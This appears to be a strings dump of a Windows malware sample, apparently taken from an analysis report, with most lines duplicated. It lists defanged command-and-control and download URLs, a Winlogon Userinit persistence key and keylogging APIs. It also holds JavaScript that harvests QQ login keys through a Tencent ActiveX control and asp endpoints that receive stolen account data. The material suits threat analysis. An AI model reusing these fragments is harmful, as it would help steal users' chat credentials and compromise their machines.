?%s: No space for LogLuv state block
?%s: No space for LogLuv state block
Inappropriate photometric interpretation %d for SGILog compression; %s
Inappropriate photometric interpretation %d for SGILog compression; %s
LogL16Decode: Not enough data at row %d (short %d pixels)
LogL16Decode: Not enough data at row %d (short %d pixels)
LogLuvDecode24: Not enough data at row %d (short %d pixels)
LogLuvDecode24: Not enough data at row %d (short %d pixels)
LogLuvDecode32: Not enough data at row %d (short %d pixels)
LogLuvDecode32: Not enough data at row %d (short %d pixels)
%s: No space for SGILog translation buffer
%s: No space for SGILog translation buffer
No support for converting user data format to LogL
No support for converting user data format to LogL
No support for converting user data format to LogLuv
No support for converting user data format to LogLuv
SGILog compression supported only for %s, or raw data
SGILog compression supported only for %s, or raw data
Unknown data format %d for LogLuv compression
Unknown data format %d for LogLuv compression
Unknown encoding %d for LogLuv compression
Unknown encoding %d for LogLuv compression
%s: No space for state block
%s: No space for state block
%s: Bad code word at scanline %d (x %lu)
%s: Bad code word at scanline %d (x %lu)
%s: %s at scanline %d (got %lu, expected %lu)
%s: %s at scanline %d (got %lu, expected %lu)
%s: Premature EOF at scanline %d (x %lu)
%s: Premature EOF at scanline %d (x %lu)
%s: No space for Group 3/4 reference line
%s: No space for Group 3/4 reference line
%s: No space for Group 3/4 run arrays
%s: No space for Group 3/4 run arrays
%s: Uncompressed data (not supported) at scanline %d (x %lu)
%s: Uncompressed data (not supported) at scanline %d (x %lu)
Fax SubAddress: %s
Fax SubAddress: %s
(%u = 0x%x)
(%u = 0x%x)
%suncompressed data
%suncompressed data
%sEOL padding
%sEOL padding
%s2-d encoding
%s2-d encoding
Improper JPEG sampling factors %d,%d
Improper JPEG sampling factors %d,%d
Apparently should be %d,%d,decompressor will try reading with sampling %d,%d
Apparently should be %d,%d,decompressor will try reading with sampling %d,%d
Improper JPEG strip/tile size, expected %dx%d, got %dx%d
Improper JPEG strip/tile size, expected %dx%d, got %dx%d
RowsPerStrip must be multiple of %d for JPEG
RowsPerStrip must be multiple of %d for JPEG
JPEG tile width must be multiple of %d
JPEG tile width must be multiple of %d
JPEG tile height must be multiple of %d
JPEG tile height must be multiple of %d
BitsPerSample %d not allowed for JPEG
BitsPerSample %d not allowed for JPEG
PhotometricInterpretation %d not allowed for JPEG
PhotometricInterpretation %d not allowed for JPEG
ThunderDecode: %s data at scanline %ld (%lu != %lu)
ThunderDecode: %s data at scanline %ld (%lu != %lu)
PackBitsDecode: discarding %d bytes to avoid buffer overrun
PackBitsDecode: discarding %d bytes to avoid buffer overrun
LZWDecode: Not enough data at scanline %d (short %d bytes)
LZWDecode: Not enough data at scanline %d (short %d bytes)
LZWDecode: Strip %d not terminated with EOI code
LZWDecode: Strip %d not terminated with EOI code
LZWDecode: Bogus encoding, loop in the code table; scanline %d
LZWDecode: Bogus encoding, loop in the code table; scanline %d
LZWDecodeCompat: Not enough data at scanline %d (short %d bytes)
LZWDecodeCompat: Not enough data at scanline %d (short %d bytes)
DumpModeDecode: Not enough data for scanline %d
DumpModeDecode: Not enough data for scanline %d
Horizontal differencing "Predictor" not supported with %d-bit samples
Horizontal differencing "Predictor" not supported with %d-bit samples
"Predictor" value %d not supported
"Predictor" value %d not supported
%u (0x%x)
%u (0x%x)
.PAVCOleException@@
.PAVCOleException@@
.PAVCObject@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCOleDispatchException@@
.PAVCOleDispatchException@@
.PAVCArchiveException@@
.PAVCArchiveException@@
zcÃ
zcÃ
C:\PerfLogs\usysdiag.exe
C:\PerfLogs\usysdiag.exe
#include "l.chs\afxres.rc" // Standard components
#include "l.chs\afxres.rc" // Standard components
WinExec
WinExec
RegCreateKeyExA
RegCreateKeyExA
RegCreateKeyA
RegCreateKeyA
GetViewportOrgEx
GetViewportOrgEx
GetViewportExtEx
GetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
SetViewportExtEx
SetViewportExtEx
OffsetViewportOrgEx
OffsetViewportOrgEx
CreateDialogIndirectParamA
CreateDialogIndirectParamA
InternetCanonicalizeUrlA
InternetCanonicalizeUrlA
InternetCrackUrlA
InternetCrackUrlA
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
%#%#^/##$
%#%#^/##$
~0003331
~0003331
0x,1u'1u&1t%1s$1r#1q"4s']
0x,1u'1u&1t%1s$1r#1q"4s']
H0y 0y 0x*0w)0w(1v'1u&1t%1s#1q"?
H0y 0y 0x*0w)0w(1v'1u&1t%1s#1q"?
/~40|/0|/0{.0z-0z,0y 0x*0w)1v(1u&1t%1s#3t(]
/~40|/0|/0{.0z-0z,0y 0x*0w)1v(1u&1t%1s#3t(]
3/~2/}10|/0{.0z,0x*0w)1v'1t%1s#I
3/~2/}10|/0{.0z,0x*0w)1v'1t%1s#I
PAD
PAD
ADVAPI32.dll
ADVAPI32.dll
AVICAP32.dll
AVICAP32.dll
COMCTL32.dll
COMCTL32.dll
comdlg32.dll
comdlg32.dll
GDI32.dll
GDI32.dll
MSIMG32.dll
MSIMG32.dll
MSVFW32.dll
MSVFW32.dll
OLEAUT32.dll
OLEAUT32.dll
oledlg.dll
oledlg.dll
RASAPI32.dll
RASAPI32.dll
SHELL32.dll
SHELL32.dll
USER32.dll
USER32.dll
VERSION.dll
VERSION.dll
WININET.dll
WININET.dll
WINMM.dll
WINMM.dll
WINSPOOL.DRV
WINSPOOL.DRV
WS2_32.dll
WS2_32.dll
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
No help keyword specified.&Cannot change the size of a JPEG image
No help keyword specified.&Cannot change the size of a JPEG image
JPEG error #%d
JPEG error #%d
Alt Clipboard does not support Icons/Menu '%s' is already being used by another form
Alt Clipboard does not support Icons/Menu '%s' is already being used by another form
No help found for %s#No context-sensitive help installed$No topic-based help system installed
No help found for %s#No context-sensitive help installed$No topic-based help system installed
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
Resource %s not found
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Property %s does not exist
Unsupported clipboard format
Unsupported clipboard format
Class %s not found
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot create file "%s". %s
Cannot open file "%s". %s
Cannot open file "%s". %s
Invalid stream format$''%s'' is not a valid component name
Invalid stream format$''%s'' is not a valid component name
Invalid property value List capacity out of bounds (%d)
Invalid property value List capacity out of bounds (%d)
List count out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d) Out of memory while expanding memory stream
List index out of bounds (%d) Out of memory while expanding memory stream
Error reading %s%s%s: %s
Error reading %s%s%s: %s
Ancestor for '%s' not found
Ancestor for '%s' not found
Cannot assign a %s to a %s
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
%s (%s, line %d)
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
System Error. Code: %d.
Invalid variant operation%Invalid variant operation (%s%.8x)
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
Operation not supported
External exception %x
External exception %x
Interface not supported
Interface not supported
Invalid pointer operation
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Invalid class typecast0Access violation at address %p. %s of address %p
Privileged instruction(Exception %s in module %s at %p.
Privileged instruction(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
No argument for format '%s'"Variant method calls not supported
!'%s' is not a valid integer value
!'%s' is not a valid integer value
I/O error %d
I/O error %d
Integer overflow Invalid floating point operation
Integer overflow Invalid floating point operation
1.1.0.0
1.1.0.0
(*.*)
(*.*)
usysdiag.exe_4084_rwx_00401000_002CA000:
t%SVh
t%SVh
t$(SSh
t$(SSh
|$D.tm
|$D.tm
~%UVW
~%UVW
.tTPV
.tTPV
FTPjK
FTPjK
FtPj;
FtPj;
F.PjRWj
F.PjRWj
u.WWj
u.WWj
u.VVj
u.VVj
u$SShe
u$SShe
wininet.dll
wininet.dll
kernel32.dll
kernel32.dll
avicap32.dll
avicap32.dll
rasapi32.dll
rasapi32.dll
ADVAPI32.DLL
ADVAPI32.DLL
advapi32.dll
advapi32.dll
ntdll.dll
ntdll.dll
upaxa.dll
upaxa.dll
urlmon
urlmon
user32.dll
user32.dll
atl.dll
atl.dll
gdi32.dll
gdi32.dll
gdiplus.dll
gdiplus.dll
Ole32.dll
Ole32.dll
ole32.dll
ole32.dll
psapi.dll
psapi.dll
Advapi32.dll
Advapi32.dll
VedioCapture.dll
VedioCapture.dll
shlwapi.dll
shlwapi.dll
HttpOpenRequestA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestA
HttpQueryInfoA
HttpQueryInfoA
URLDownloadToFileA
URLDownloadToFileA
ExitWindowsEx
ExitWindowsEx
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
SetWindowsHookExA
SetWindowsHookExA
UnhookWindowsHookEx
UnhookWindowsHookEx
GetWindowsDirectoryA
GetWindowsDirectoryA
GdiplusShutdown
GdiplusShutdown
ShellExecuteA
ShellExecuteA
CreatePipe
CreatePipe
PeekNamedPipe
PeekNamedPipe
EnumWindows
EnumWindows
EnumChildWindows
EnumChildWindows
GetProcessHeap
GetProcessHeap
InternetOpenUrlA
InternetOpenUrlA
HttpAddRequestHeadersA
HttpAddRequestHeadersA
GetKeyState
GetKeyState
GetAsyncKeyState
GetAsyncKeyState
ver.txt
ver.txt
255.255.255.255
255.255.255.255
hXXps://
hXXps://
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
http=
http=
HTTP/1.1
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
hXXp://
hXXp://
https
https
adminakang_kn_VVV.52blt.net_sujiankangwoaini!
adminakang_kn_VVV.52blt.net_sujiankangwoaini!
hXXps://VVV.so.com/s?q=ip
hXXps://VVV.so.com/s?q=ip
hXXps://VVV.sogou.com/web?query=ip
hXXps://VVV.sogou.com/web?query=ip
\ipget.txt
\ipget.txt
hXXp://VVV.baidu.com/s?wd=ip
hXXp://VVV.baidu.com/s?wd=ip
cj_id.asp?name=
cj_id.asp?name=
cj_pasp.asp?zh=
cj_pasp.asp?zh=
cj_xinxiasp.asp?zh=
cj_xinxiasp.asp?zh=
z>Windows 2000
z>Windows 2000
Windows Server 2003
Windows Server 2003
Windows Vista
Windows Vista
Windows 7
Windows 7
Windows 8
Windows 8
QQ.exe
QQ.exe
\p2.asp?s=
\p2.asp?s=
\Microsoft\Network\Connections\pbk\rasphone.pbk
\Microsoft\Network\Connections\pbk\rasphone.pbk
Msg3.0.db
Msg3.0.db
\p2.asp?ml=
\p2.asp?ml=
/do.txt
/do.txt
\zrml.txt
\zrml.txt
hXXp://VVV.hot88.top/?upaxa
hXXp://VVV.hot88.top/?upaxa
dllurl.txt
dllurl.txt
\upaxa.dll
\upaxa.dll
c:\023.mp3
c:\023.mp3
hXXp://t.kanshulou.com/
hXXp://t.kanshulou.com/
/023.mp3
/023.mp3
c:\zr1.mp3
c:\zr1.mp3
hXXp://VVV.hot88.top/z/mp3/1.mp3
hXXp://VVV.hot88.top/z/mp3/1.mp3
c:\zr2.mp3
c:\zr2.mp3
hXXp://VVV.hot88.top/z/mp3/2.mp3
hXXp://VVV.hot88.top/z/mp3/2.mp3
c:\zr3.mp3
c:\zr3.mp3
hXXp://VVV.hot88.top/z/mp3/3.mp3
hXXp://VVV.hot88.top/z/mp3/3.mp3
c:\zr4.mp3
c:\zr4.mp3
hXXp://VVV.hot88.top/z/mp3/4.mp3
hXXp://VVV.hot88.top/z/mp3/4.mp3
c:\zr5.mp3
c:\zr5.mp3
hXXp://VVV.hot88.top/z/mp3/5.mp3
hXXp://VVV.hot88.top/z/mp3/5.mp3
c:\zr6.mp3
c:\zr6.mp3
hXXp://VVV.hot88.top/z/mp3/6.mp3
hXXp://VVV.hot88.top/z/mp3/6.mp3
c:\025.mp3
c:\025.mp3
/025.mp3
/025.mp3
c:\zzjggs.mp3
c:\zzjggs.mp3
/006.mp3
/006.mp3
c:\11asd1._.mp3
c:\11asd1._.mp3
\loginZ.exe
\loginZ.exe
d1.Ab
d1.Ab
.rzmF
.rzmF
sj.nSa;
sj.nSa;
KeYt
KeYt
c:\bz.jpg
c:\bz.jpg
c:\bbz.jpg
c:\bbz.jpg
c:\downfile\
c:\downfile\
778C6A1D843227CCFF17841386544274C9A024F44F111C0C22F887A8A561B75DD9AC1CB677C2113BB2149A0B14B4E479CCFAA1C8332516F0D6524AF885658798D5F197AB15E6112E54FE6702620909CB364D7E44F8A1D6088C536F683CE54BB6C3406886A5A5F932E55592A1EFE32EA2C8E89775884DD7A786C7D557F1107A808E650A839FAEB0BEDE63F36583F5AF8786F7E25C191813EBB841649ECCF76BC03A0ADA0455C4D7626E4363E366CA85AE849B604D8F694D019E1B1704D7CD2DB0FD244C826FA8FC386FB49B8FA4E038B9613ED53A0CBB531394ED5F8BC6F69372EF270950755446CF52267E0934EBC58266C3ABFA928B442FF690D8720922C737F380D9F36EB4BA9B12BEB7A4C822F85D3B9CB335933FF6D947FA23C8E872397FF1C5D5CB69993BFC5EBFE417A377ED2AA5D37D98F149C1095CC25A1F11C74D19D22657379D25FFBE8494BE686F9AE0A07B9025C6DD4A29A74725319E95DD14094090EC10E732CC7E879A6A08DCA7420E1A14F362ECF0F0F04A8A7FCEDB090BA740EC21F57B02F9CD62F010D0F0F29687D924A0E22401B65020341D00E1851C31768A770F7926D844B8FF707E6E5957729E3E69F900D3CFAB9C1BE39CF8FE92405C293E8A644588CF3FD0570884144DCE7773EE638D228FBE92AA252B75DDE30288F0A1587D787529950FA2E5C2668CB9348D4ABBA748C14809C42A90A5DB49355B0464EF8D3C615B1A744CB8609599F1782F870A2EEA02634101C5D3930B86BFF8DB34C491A7E40B53791DECF65FEBA3064FD61B6A00BBCFD395FB6B1298D66376E6762B2E74D9CAc:\temp_s.vbs
778C6A1D843227CCFF17841386544274C9A024F44F111C0C22F887A8A561B75DD9AC1CB677C2113BB2149A0B14B4E479CCFAA1C8332516F0D6524AF885658798D5F197AB15E6112E54FE6702620909CB364D7E44F8A1D6088C536F683CE54BB6C3406886A5A5F932E55592A1EFE32EA2C8E89775884DD7A786C7D557F1107A808E650A839FAEB0BEDE63F36583F5AF8786F7E25C191813EBB841649ECCF76BC03A0ADA0455C4D7626E4363E366CA85AE849B604D8F694D019E1B1704D7CD2DB0FD244C826FA8FC386FB49B8FA4E038B9613ED53A0CBB531394ED5F8BC6F69372EF270950755446CF52267E0934EBC58266C3ABFA928B442FF690D8720922C737F380D9F36EB4BA9B12BEB7A4C822F85D3B9CB335933FF6D947FA23C8E872397FF1C5D5CB69993BFC5EBFE417A377ED2AA5D37D98F149C1095CC25A1F11C74D19D22657379D25FFBE8494BE686F9AE0A07B9025C6DD4A29A74725319E95DD14094090EC10E732CC7E879A6A08DCA7420E1A14F362ECF0F0F04A8A7FCEDB090BA740EC21F57B02F9CD62F010D0F0F29687D924A0E22401B65020341D00E1851C31768A770F7926D844B8FF707E6E5957729E3E69F900D3CFAB9C1BE39CF8FE92405C293E8A644588CF3FD0570884144DCE7773EE638D228FBE92AA252B75DDE30288F0A1587D787529950FA2E5C2668CB9348D4ABBA748C14809C42A90A5DB49355B0464EF8D3C615B1A744CB8609599F1782F870A2EEA02634101C5D3930B86BFF8DB34C491A7E40B53791DECF65FEBA3064FD61B6A00BBCFD395FB6B1298D66376E6762B2E74D9CAc:\temp_s.vbs
hXXp://VVV.aidown.top/z/1.html
hXXp://VVV.aidown.top/z/1.html
/flashkq.swf
/flashkq.swf
&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
&clientkey=
&clientkey=
hXXp://ptlogin2.qq.com/jump?clientuin=
hXXp://ptlogin2.qq.com/jump?clientuin=
hXXp://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
hXXp://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
skey
skey
qzreferrer=http://cnc.qzs.qq.com/qzone/v6/setting/profile/profile.html?tab=base&nickname=
qzreferrer=http://cnc.qzs.qq.com/qzone/v6/setting/profile/profile.html?tab=base&nickname=
hXXp://w.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=
hXXp://w.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=
SSOAxCtrlForPTLogin.SSOForPTLogin2
SSOAxCtrlForPTLogin.SSOForPTLogin2
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin
document.body.innerHTML=GetuinKey();
document.body.innerHTML=GetuinKey();
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
len = str.length; i
len = str.length; i
var t = QZONE.FormSender;
var t = QZONE.FormSender;
if (t && t.pluginsPool) t.pluginsPool.formHandler.push(function(fm) {
if (t && t.pluginsPool) t.pluginsPool.formHandler.push(function(fm) {
var a = QZFL.string.trim(fm.action);
var a = QZFL.string.trim(fm.action);
a = (a.indexOf("?") > -1 ? "&": "?") "g_tk=" QZFL.pluginsDefine.getACSRFToken();
a = (a.indexOf("?") > -1 ? "&": "?") "g_tk=" QZFL.pluginsDefine.getACSRFToken();
fm.action = a
fm.action = a
qzreferrer=http://cnc.qzs.qq.com/qzone/v6/setting/profile/profile.html?tab=space&spacename=
qzreferrer=http://cnc.qzs.qq.com/qzone/v6/setting/profile/profile.html?tab=space&spacename=
hXXp://w.cnc.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=
hXXp://w.cnc.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=
{557CF400-1A04-11D3-9A73-0000F81EF32E}
{557CF400-1A04-11D3-9A73-0000F81EF32E}
{557CF401-1A04-11D3-9A73-0000F81EF32E}
{557CF401-1A04-11D3-9A73-0000F81EF32E}
{557CF402-1A04-11D3-9A73-0000F81EF32E}
{557CF402-1A04-11D3-9A73-0000F81EF32E}
{557CF405-1A04-11D3-9A73-0000F81EF32E}
{557CF405-1A04-11D3-9A73-0000F81EF32E}
.tiff
.tiff
{557CF406-1A04-11D3-9A73-0000F81EF32E}
{557CF406-1A04-11D3-9A73-0000F81EF32E}
/flashkq.fne
/flashkq.fne
hXXp://zryk.aa3e.com/
hXXp://zryk.aa3e.com/
yanhua.swf
yanhua.swf
qi_e.swf
qi_e.swf
qiao.swf
qiao.swf
xiaxueswf.swf
xiaxueswf.swf
hXXp://demo.sc.chinaz.com/Files/DownLoad/flash2/201605/flash4527.swf
hXXp://demo.sc.chinaz.com/Files/DownLoad/flash2/201605/flash4527.swf
xuanwo.swf
xuanwo.swf
baaaoli.swf
baaaoli.swf
boli.swf
boli.swf
doadwg.swf
doadwg.swf
dog.swf
dog.swf
zrgui.swf
zrgui.swf
heidongz.swf
heidongz.swf
hudiez.swf
hudiez.swf
konglongs.swf
konglongs.swf
shayuzr.swf
shayuzr.swf
shengriklz.swf
shengriklz.swf
wuguizr.swf
wuguizr.swf
xiyizrk.swf
xiyizrk.swf
xiayulo1.swf
xiayulo1.swf
hXXp://demo.sc.chinaz.com/Files/DownLoad/flash2/201508/flash3853.swf
hXXp://demo.sc.chinaz.com/Files/DownLoad/flash2/201508/flash3853.swf
yaziswf.swf
yaziswf.swf
yanhua2.swf
yanhua2.swf
bingbi2ngbing.swf
bingbi2ngbing.swf
c:\111._.mp3
c:\111._.mp3
command.com /c
command.com /c
cmd.exe /c
cmd.exe /c
c:\windows\_temp2.bmp
c:\windows\_temp2.bmp
c:\windows\_temp3.jpg
c:\windows\_temp3.jpg
/tpsc.asp
/tpsc.asp
c:\111666.bmp
c:\111666.bmp
c:\111666.jpg
c:\111666.jpg
\hot.bmp
\hot.bmp
\hot.jpg
\hot.jpg
C:\windows\web\CS2.bmp
C:\windows\web\CS2.bmp
C:\windows\web\CS2.jpg
C:\windows\web\CS2.jpg
C:\windows\web\
C:\windows\web\
?taskmgr.exe
?taskmgr.exe
KUG0U.exe
KUG0U.exe
uninstalla.exe
uninstalla.exe
usysdiag.exe
usysdiag.exe
msdtcws.exe
msdtcws.exe
HipsDaemon.exe
HipsDaemon.exe
logonuisd.exe
logonuisd.exe
dotnetfx.exe
dotnetfx.exe
LoginZ.exe
LoginZ.exe
LoginZ_
LoginZ_
444444444
444444444
\ip.txt
\ip.txt
VVV.hot88.top
VVV.hot88.top
userinit.exe,
userinit.exe,
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
.idata
.idata
.edata
.edata
P.reloc
P.reloc
P.rsrc
P.rsrc
Windows
Windows
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
MSH_SCROLL_LINES_MSG
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
oleaut32.dll
oleaut32.dll
EVariantBadIndexError
EVariantBadIndexError
ssShift
ssShift
htKeyword
htKeyword
EInvalidOperation
EInvalidOperation
u%CNu
u%CNu
%s_%d
%s_%d
EInvalidGraphicOperation
EInvalidGraphicOperation
USER32.DLL
USER32.DLL
comctl32.dll
comctl32.dll
uxtheme.dll
uxtheme.dll
MAPI32.DLL
MAPI32.DLL
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
JumpID("","%s")
JumpID("","%s")
ssHotTrack
ssHotTrack
TWindowState
TWindowState
poProportional
poProportional
TWMKey
TWMKey
KeyPreviewd
KeyPreviewd
WindowState
WindowState
OnKeyDown4=D
OnKeyDown4=D
OnKeyPress
OnKeyPress
OnKeyUp
OnKeyUp
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
vcltest3.dll
vcltest3.dll
User32.dll
User32.dll
AutoHotkeysp
AutoHotkeysp
AutoHotkeys
AutoHotkeys
TKeyEvent
TKeyEvent
TKeyPressEvent
TKeyPressEvent
HelpKeyword
HelpKeyword
crSQLWait
crSQLWait
%s (%s)
%s (%s)
imm32.dll
imm32.dll
FilterGraph %p pid %x
FilterGraph %p pid %x
E:\DelphiComponment\DSPACK234\src\DSPack\DSUtil.pas
E:\DelphiComponment\DSPACK234\src\DSPack\DSUtil.pas
($%x).
($%x).
vpDoNotRenderColorKeyAndBorder
vpDoNotRenderColorKeyAndBorder
Operation
Operation
TOnDVDCMD
TOnDVDCMD
CmdID
CmdID
OnDVDCMDStarth
OnDVDCMDStarth
OnDVDCMDEndHIA
OnDVDCMDEndHIA
OnDVDWarningFormatNotSupportedHIA
OnDVDWarningFormatNotSupportedHIA
OnKeyUp8AD
OnKeyUp8AD
E:\DelphiComponment\DSPACK234\src\DSPack\DSPack.pas
E:\DelphiComponment\DSPACK234\src\DSPack\DSPack.pas
GetKeyboardType
GetKeyboardType
RegOpenKeyExA
RegOpenKeyExA
RegCloseKey
RegCloseKey
GetCPInfo
GetCPInfo
version.dll
version.dll
SetViewportOrgEx
SetViewportOrgEx
MapVirtualKeyA
MapVirtualKeyA
LoadKeyboardLayoutA
LoadKeyboardLayoutA
GetKeyboardState
GetKeyboardState
GetKeyboardLayoutList
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyboardLayout
GetKeyNameTextA
GetKeyNameTextA
EnumThreadWindows
EnumThreadWindows
ActivateKeyboardLayout
ActivateKeyboardLayout
avifil32.dll
avifil32.dll
winmm.dll
winmm.dll
quartz.dll
quartz.dll
4#4'4 4}4
4#4'4 4}4
8 8$8(8,8
8 8$8(8,8
0"1&12181
0"1&12181
1"2&2*2.22282
1"2&2*2.22282
2$3(30343
2$3(30343
0 0$0(0,0004080
0 0$0(0,0004080
0"1&1*101
0"1&1*101
7%8*8.888{8
7%8*8.888{8
333333333333333333
333333333333333333
33333833
33333833
3333339
3333339
3333333333333338
3333333333333338
:*"*"$3338
:*"*"$3338
3333333
3333333
33333333
33333333
33333333333
33333333333
3333333333338
3333333333338
33338?383
33338?383
333333333333
333333333333
:*3:"$3338
:*3:"$3338
333333333333333
333333333333333
KWindows
KWindows
UrlMon
UrlMon
\VedioCapture.dll
\VedioCapture.dll
swfurl.txt
swfurl.txt
bbs.125.la
bbs.125.la
E.WinInet 1.0
E.WinInet 1.0
Super-EChXXp://VVV.super-ec.cnhXXp://VVV.eyybc.com/forum-17-1.html/forum-12-1.html/memcp.php/ip.asp/time.asp/gonggao.txt/ec-user6.php/ec-bd.php/ec-jh.php
Super-EChXXp://VVV.super-ec.cnhXXp://VVV.eyybc.com/forum-17-1.html/forum-12-1.html/memcp.php/ip.asp/time.asp/gonggao.txt/ec-user6.php/ec-bd.php/ec-jh.php
hXXp://VVV.super-ec.cn
hXXp://VVV.super-ec.cn
" class="txt" />Function Getcpuid()
" class="txt" />Function Getcpuid()
Set cpuSet = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Processor")
Set cpuSet = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Processor")
getcpuid=cpu.ProcessorId
getcpuid=cpu.ProcessorId
H7FKWfffY8HGWWW.
H7FKWfffY8HGWWW.
QV%x)
QV%x)
r,.IBXX\
r,.IBXX\
=3Þ
=3Þ
%,..ciy
%,..ciy
.... (*>
.... (*>
%d&&'
%d&&'
123456789
123456789
00003333
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
portuguese-brazilian
portuguese-brazilian
iphlpapi.dll
iphlpapi.dll
SHLWAPI.dll
SHLWAPI.dll
MPR.dll
MPR.dll
WSOCK32.dll
WSOCK32.dll
.PAVCException@@
.PAVCException@@
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Gdi32.dll
Gdi32.dll
Kernel32.dll
Kernel32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
.PAVCFileException@@
